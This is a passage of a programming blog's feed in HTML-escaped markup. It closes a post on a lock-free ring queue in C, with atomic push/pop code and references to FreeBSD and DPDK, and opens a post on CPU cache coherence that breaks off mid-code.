&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;errno&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ENOBUFS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;__atomic_store_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_prod_head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_RELEASE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;queue_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;old_cons_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cons_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__atomic_load_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_ACQUIRE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;prod_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_cons_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ready_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;errno&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EINVAL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;new_cons_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;old_cons_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cons_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_cons_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;old_cons_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;__atomic_store_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_cons_head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_RELEASE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="open-questions"&gt;Open questions&lt;/h2&gt;
&lt;p&gt;In the &lt;a href="https://svnweb.freebsd.org/base/release/8.0.0/sys/sys/buf_ring.h?revision=199625&amp;amp;amp"&gt;FreeBSD queue&lt;/a&gt; the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are wrapped with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;critical_enter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;critical_exit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. I’m not sure exactly why. From the thread safety point of view, they should not be necessary but they may be there for some reason.&lt;/p&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;p&gt;Kip Macy implemented a &lt;a href="https://svnweb.freebsd.org/base/release/8.0.0/sys/sys/buf_ring.h?revision=199625&amp;amp;amp"&gt;buffer ring&lt;/a&gt; for FreeBSD. It was the base foundation for DPDK’s &lt;a href="http://git.dpdk.org/dpdk/tree/lib/librte_ring/rte_ring_c11_mem.h"&gt;rte_ring&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Both were used as references along with&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.cppreference.com/w/cpp/atomic/memory_order#Release-Acquire_ordering"&gt;Release-Acquire ordering, cppreference.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gcc.gnu.org/onlinedocs/gcc/_005f_005fatomic-Builtins.html"&gt;GCC Atomics, gcc.gnu.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://doc.dpdk.org/guides-19.05/prog_guide/ring_lib.html"&gt;Ring library, doc.dpdk.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=A8eCGOqgvH4"&gt;C++ and Beyond 2012: Herb Sutter - Atomic Weapons - Part 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=KeLBd2EJLOU"&gt;C++ and Beyond 2012: Herb Sutter - Atomic Weapons - Part 2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;References at March 2020.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/03/22/Lock-Free-Queue-Part-I.html" rel="alternate" type="text/html" title="Lock-Free Queue - Part I"/>
    <category term="performance" label="performance"/>
    <category term="lock free" label="lock free"/>
    <category term="data structure" label="data structure"/>
    <category term="queue" label="queue"/>
    <published>2020-03-22T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2020/02/15/CPU-Cache-Coherence.html</id>
    <title>Effects of CPU Cache Coherence</title>
    <updated>2020-02-15T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Most modern cpus see a single &lt;em&gt;shared&lt;/em&gt; main memory seeing the same thing, &lt;em&gt;eventually&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This post explores what is behind this &lt;em&gt;“eventually”&lt;/em&gt; term.&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;Consider the &lt;a href="/assets/threading/cache-coherence/rccnt.c"&gt;following function&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It is executed by two threads that increment by one the values of an array one at time: one waiting for even numbers before incrementing, the other waiting for odd numbers.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;ctx_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;counters&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;counters&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ROUNDS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DATASZ&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cnt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;cnt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;counters&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cnt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

